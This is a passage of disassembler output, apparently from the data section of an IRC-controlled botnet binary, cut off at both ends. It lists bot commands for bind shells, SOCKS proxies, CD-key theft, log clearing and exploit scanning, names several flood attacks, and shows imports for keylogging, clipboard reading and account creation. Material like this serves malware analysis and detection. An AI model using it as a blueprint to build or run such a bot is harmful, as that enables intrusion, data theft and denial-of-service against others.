'driveinfo',0 ; DATA XREF: .nsp0:00403386o align 4 aUp db 'up',0 ; DATA XREF: .nsp0:00403371o align 4 aUptime db 'uptime',0 ; DATA XREF: .nsp0:0040335Co align 4 aGetcdkeys db 'getcdkeys',0 ; DATA XREF: .nsp0:00403332o align 10h aPs db 'ps',0 ; DATA XREF: .nsp0:0040331Do align 4 aProcs db 'procs',0 ; DATA XREF: .nsp0:00403308o align 4 aR0i0m db 'r0i0m',0 ; DATA XREF: .nsp0:004032F3o align 4 aRemov db 'remov`]',0 ; DATA XREF: .nsp0:004032DEo aSi db 'si',0 ; DATA XREF: .nsp0:004032C9o align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: .nsp0:004032B4o aNi db 'ni',0 ; DATA XREF: .nsp0:0040329Fo align 4 aNetinfo db 'netinfo',0 ; DATA XREF: .nsp0:0040328Ao aClg db 'clg',0 ; DATA XREF: .nsp0:00403275o aClearlog db 'clearlog',0 ; DATA XREF: .nsp0:00403260o align 4 aL0g db 'l0g',0 ; DATA XREF: .nsp0:0040324Bo aLo0g db 'lo0g',0 ; DATA XREF: .nsp0:00403236o align 10h aAl db 'al',0 ; DATA XREF: .nsp0:00403221o align 4 aThreads db 'threads',0 ; DATA XREF: .nsp0:004031E2o unk_432F4C db 2Dh ; - ; DATA XREF: .nsp0:004031AEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_432F74 db 2Dh ; - ; DATA XREF: .nsp0:004031A7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: .nsp0:00403190o align 4 aId db 'id',0 ; DATA XREF: .nsp0:00403166o align 10h aStatus db 'status',0 ; DATA XREF: .nsp0:0040313Co align 4 aQuit_0 db 'quit',0 ; DATA XREF: .nsp0:00403112o align 10h aDc db 'dc',0 ; DATA XREF: .nsp0:004030FDo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: .nsp0:004030E8o align 10h aR: ; DATA XREF: .nsp0:004030D3o ; .nsp0:0040588Do ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: .nsp0:004030BEo align 10h aExplist db 'explist',0 ; DATA XREF: .nsp0:004030A9o aExploitlist db 'exploitlist',0 ; DATA XREF: .nsp0:00403094o aCbstats db 'cbstats',0 ; DATA XREF: .nsp0:0040307Fo aConnectbacksta db 'connectbackstats',0 ; DATA XREF: .nsp0:0040306Ao align 10h aTrstats db 'trstats',0 ; DATA XREF: .nsp0:00403055o aTransferstats db 'transferstats',0 ; DATA XREF: .nsp0:00403040o align 4 aStats db 'stats',0 ; DATA XREF: .nsp0:0040302Bo align 10h aScanstats db 'scanstats',0 ; DATA XREF: .nsp0:00403016o align 4 dword_43302C dd 234032Dh, 6E616373h, 2D0302haScan_0 db 'Scan',0 ; DATA XREF: .nsp0:00403006o align 10h aScanstop db 'scanstop',0 ; DATA XREF: .nsp0:00402FEDo align 4 dword_43304C dd 234032Dh, 75636573h, 3026572h, 2DhaSecure_0 db 'Secure',0 ; DATA XREF: .nsp0:00402FDDo align 4 aSecurestop db 'securestop',0 ; DATA XREF: .nsp0:00402FC4o align 10h dword_433070 dd 234032Dh, 6E6F6C63h, 3027365h, 2DhaClone db 'Clone',0 ; DATA XREF: .nsp0:00402FB4o align 4 aClonestop db 'clonestop',0 ; DATA XREF: .nsp0:00402F9Bo align 4 aPsstop db 'psstop',0 ; DATA XREF: .nsp0:00402F86o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: .nsp0:00402F71o align 4 aFfstop db 'ffstop',0 ; DATA XREF: .nsp0:00402F5Co align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: .nsp0:00402F47o align 10h dword_4330C0 dd 234032Dh, 70746674h, 2D030264h, 0aTftpstop db 'tftpstop',0 ; DATA XREF: .nsp0:00402F1Eo align 4 aPingstop db 'pingstop',0 ; DATA XREF: .nsp0:00402EF5o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: .nsp0:00402ECCo aWisdomstop db 'wisdomstop',0 ; DATA XREF: .nsp0:00402EA3o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: .nsp0:00402E7Ao unk_433108 db 2Dh ; - ; DATA XREF: .nsp0:00402E60o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_43313C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; .nsp0:00402EC1o dword_43314C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; .nsp0:00402EBCo dword_43315C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; .nsp0:00402E98o dword_43316C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; .nsp0:00402E93o dword_43317C dd 234032Dh, 676E6970h, 2D0302h ; .nsp0:00402F13o dword_433188 dd 676E6950h, 6F6C6620h, 646Fh ; .nsp0:00402F0Eo dword_433194 dd 234032Dh, 2706475h, 2D03h ; .nsp0:00402EEAo dword_4331A0 dd 20504455h, 6F6F6C66h, 64h ; .nsp0:00402EE5o aPacketstop db 'packetstop',0 ; DATA XREF: .nsp0:00402D24o align 4 dword_4331B8 dd 234032Dh, 6B6E6F77h, 2D0302h ; .nsp0:00402DE6o dword_4331C4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; .nsp0:00402DE1o aWonkstop db 'wonkstop',0 ; DATA XREF: .nsp0:00402CFBo align 4 dword_4331DC dd 234032Dh, 67726174h, 3023361h, 2Dh ; .nsp0:00402DC8o dword_4331EC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; .nsp0:00402DC3o aTarga3stop db 'targa3stop',0 ; DATA XREF: .nsp0:00402CD2o align 4 dword_433208 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; .nsp0:00402E46o dword_433218 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; .nsp0:00402E41o aSkysynstop db 'skysynstop',0 ; DATA XREF: .nsp0:00402CA9o align 4 dword_433234 dd 234032Dh, 26E7973h, 2D03h ; .nsp0:00402D68o dword_433240 dd 206E7953h, 6F6F6C66h, 64h ; .nsp0:00402D63o aSy1stop db 'sy1stop',0 ; DATA XREF: .nsp0:00402C80o dword_433254 dd 234032Dh, 736F6464h, 2D0302h ; .nsp0:00402D4Ao dword_433260 dd 536F4444h, 6F6C6620h, 646Fh ; .nsp0:00402D45o dword_43326C dd 736F6464h, 6F74732Eh, 70hdword_433278 dd 234032Dh, 69646572h, 74636572h, 2D0302hdword_433288 dd 20504354h, 69646572h, 74636572h, 0aRedirectstop db 'redirectstop',0 ; DATA XREF: .nsp0:00402C2Eo align 4 dword_4332A8 dd 234032Dh, 2676F6Ch, 2D03hdword_4332B4 dd 20676F4Ch, 7473696Ch, 0aLogstop db 'logstop',0 ; DATA XREF: .nsp0:00402C05o dword_4332C8 dd 234032Dh, 70747468h, 2D030264h, 0aHttpstop db 'httpstop',0 ; DATA XREF: .nsp0:00402BDCo align 4 dword_4332E4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03haRloginstop db 'rloginstop',0 ; DATA XREF: .nsp0:00402BB3o align 10h dword_433300 dd 234032Dh, 6B636F73h, 3023473h, 2DhaSocks4stop db 'socks4stop',0 ; DATA XREF: .nsp0:00402B8Do align 4 aS4 db 's4',0 ; DATA XREF: .nsp0:00402B78o align 10h aSocks4 db 'socks4',0 ; DATA XREF: .nsp0:00402B63o align 4 dword_433328 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aServer_0 db 'Server',0 ; DATA XREF: .nsp0:00402B3Co ; .nsp0:00402BA6o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: .nsp0:00402B23o align 4 aBd db 'bd',0 ; DATA XREF: .nsp0:00402B0Eo align 4 aBindshell db 'bindshell',0 ; DATA XREF: .nsp0:00402AF9o align 4 aUnsec db 'unsec',0 ; DATA XREF: .nsp0:00402AE4o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: .nsp0:00402ACFo align 4 aSec db 'sec',0 ; DATA XREF: .nsp0:00402ABAo ; .nsp0:00404860o aSecure db 'secure',0 ; DATA XREF: .nsp0:00402AA5o ; .nsp0:0040484Fo align 4 aSt db 'st',0 ; DATA XREF: .nsp0:00402A90o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: .nsp0:00402A7Bo align 4 aDed db 'ded',0 ; DATA XREF: .nsp0:00402A66o aDedication db 'dedication',0 ; DATA XREF: .nsp0:00402A51o align 4 aVer db 'ver',0 ; DATA XREF: .nsp0:00402A3Co aVersion db 'version',0 ; DATA XREF: .nsp0:00402A27o aLo db 'lo',0 ; DATA XREF: .nsp0:00402A12o align 4 aDie db 'die',0 ; DATA XREF: .nsp0:004029D3o aRn db 'rn',0 ; DATA XREF: .nsp0:004029BEo align 4 aRndnick db 'rndnick',0 ; DATA XREF: .nsp0:004029A6o a63 db '63',0 ; DATA XREF: .nsp0:00402873o align 4 asc_4333C8: ; DATA XREF: .nsp0:0040284Bo unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: .nsp0:0040280Eo align 4 aServer_2 db '$server',0 ; DATA XREF: .nsp0:00402803o aRndnick_0 db '$rndnick',0 ; DATA XREF: .nsp0:004027F2o align 4 aChan db '$chan',0 ; DATA XREF: .nsp0:004027D6o align 10h aUser_2 db '$user',0 ; DATA XREF: .nsp0:004027C5o align 4 aMe db '$me',0 ; DATA XREF: .nsp0:004027B3o aD_0 db '$%d',0 ; DATA XREF: .nsp0:00402745o aD_1 db '$%d-',0 ; DATA XREF: .nsp0:00402681o align 4 aHi_0 db 'hi',0 ; DATA XREF: .nsp0:004025A9o align 4 unk_43340C db 2Dh ; - ; DATA XREF: .nsp0:0040256Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_433440 db 2Dh ; - ; DATA XREF: .nsp0:0040255Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_433470 db 2Dh ; - ; DATA XREF: .nsp0:0040254Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_30 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_4334A8 db 2Dh ; - ; DATA XREF: .nsp0:004024DDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: .nsp0:00402449o align 10h unk_4334D0 db 2Dh ; - ; DATA XREF: .nsp0:0040242Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 dword_433514 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: .nsp0:00402411o dd 0A0Dh dword_43352C dd 4E495001h, 47hdword_433534 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: .nsp0:004023D2o dd 0D017325h, 0Ah dword_433550 dd 52455601h, 4E4F4953h, 1unk_43355C db 2Dh ; - ; DATA XREF: .nsp0:00402287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_2 db '%s',0 ; DATA XREF: .nsp0:0040220Eo ; .nsp0:00402486o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: .nsp0:004021E7o align 4 dword_433598 dd 43434401h, 0 dword_4335A0 dd 323333h ; .nsp0:004025CBo ... aNotice db 'NOTICE',0 ; DATA XREF: .nsp0:00402131o ; sub_4099D2+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: .nsp0:00402125o ; sub_4099D2+16o unk_4335B4 db 2Dh ; - ; DATA XREF: .nsp0:004020D1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_4335D8 db 2Dh ; - ; DATA XREF: .nsp0:004020B0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: .nsp0:0040207Fo aQuit db 'QUIT',0 ; DATA XREF: .nsp0:0040203Do ; sub_40F168+5C3o align 4 aPart db 'PART',0 ; DATA XREF: .nsp0:0040202Co ; .nsp0:004020F1o align 4 aSS db ':%s%s',0 ; DATA XREF: .nsp0:00402004o align 4 aNick db 'NICK',0 ; DATA XREF: .nsp0:00401EF7o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401EB8o ; .nsp0:00402115o unk_43362C db 2Dh ; - ; DATA XREF: .nsp0:00401E9Fo ; .nsp0:004049B3o ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: .nsp0:00401E38o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401E02o ; .nsp0:004096CBo ... align 10h a433 db '433',0 ; DATA XREF: .nsp0:00401DDAo ; sub_417DCC:loc_417E43o a302 db '302',0 ; DATA XREF: .nsp0:00401D9Fo aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401D5Co ; .nsp0:00408B09o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00401D3Bo align 4 aPing db 'PING',0 ; DATA XREF: .nsp0:00401D2Ao ; sub_417DCC+50o align 4 asc_43368C: ; DATA XREF: .nsp0:00401C1Co ; .nsp0:0040294Bo ... unicode 0, < >,0 asc_433690 db ' :',0 ; DATA XREF: .nsp0:00401BFAo ; .nsp0:loc_402623o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4099D2+58o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A6D+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A6D+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409A6D:loc_40A6D7o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409A6D+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409A6D+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409A6D+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409A6D+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409A6D+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409A6D+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409A6D:loc_40A639o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409A6D+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409A6D+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409A6D:loc_40A5EFo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A6D+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A6D+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A6D+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A6D+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409A6D:loc_40A57Bo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A6D+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409A6D+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409A6D:loc_40A531o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A6D+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A6D+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409A6D:loc_40A4E7o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409A6D+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A6D+9ECo ; sub_418E3D+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409A6D+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409A6D+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409A6D+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409A6D+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409A6D+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409A6D+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A6D+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409A6D+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409A6D+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409A6D+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409A6D:loc_40A3CBo ; sub_418E3D+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409A6D+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409A6D+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409A6D+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409A6D:loc_40A36Co align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A6D+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409A6D+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409A6D+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A6D+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A6D+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409A6D+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409A6D+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409A6D+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A6D+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A6D+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A6D+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409A6D:loc_40A24Co aClosesocket db 'closesocket',0 ; DATA XREF: sub_409A6D+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409A6D+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409A6D+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409A6D+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409A6D+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409A6D+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409A6D+658o align 4 aListen db 'listen',0 ; DATA XREF: sub_409A6D+63Eo align 10h aSelect db 'select',0 ; DATA XREF: sub_409A6D+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409A6D+629o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409A6D+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409A6D+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409A6D+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409A6D+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409A6D+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409A6D+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409A6D+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409A6D+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409A6D+5A2o align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409A6D+588o aSocket db 'socket',0 ; DATA XREF: sub_409A6D+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409A6D+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409A6D+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409A6D+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409A6D+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409A6D+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409A6D+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409A6D+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409A6D+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409A6D+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409A6D+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409A6D+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409A6D+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409A6D+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409A6D+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A6D+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409A6D+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409A6D+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409A6D:loc_409E9Ao align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409A6D:loc_409E72o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A6D+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A6D+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409A6D+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409A6D+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409A6D+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409A6D+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409A6D+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409A6D:loc_409DC4o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A6D+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A6D+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409A6D:loc_409D7Fo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409A6D+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409A6D+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409A6D+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409A6D+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409A6D+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409A6D+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409A6D+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409A6D+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409A6D:loc_409CCCo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409A6D+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409A6D+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409A6D+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A6D:loc_409C65o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409A6D+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409A6D+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409A6D+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409A6D+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409A6D+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409A6D+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409A6D+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409A6D+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409A6D:loc_409BA2o ; .nsp0:00424CBAo align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A6D:loc_409B75o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A6D+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A6D+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409A6D+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409A6D+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A6D+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A6D+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409A6D+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409A6D+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409A6D+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A6D+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409A6D+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409A6D+Ao align 10h unk_433F80 db 2Dh ; - ; DATA XREF: sub_40A729+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A729+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A729+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A729+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A729+28o align 4 a_: ; DATA XREF: .nsp0:0040DBE5o ; sub_41011E+24Do unicode 0, <.>,0 unk_434110 db 2Dh ; - ; DATA XREF: sub_40AA8C:loc_40AB4Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_434140 db 2Dh ; - ; DATA XREF: sub_40AA8C:loc_40AB19o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_434170 db 2Dh ; - ; DATA XREF: sub_40AA8C:loc_40AAE5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_434194 db 2Dh ; - ; DATA XREF: sub_40AA8C+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting 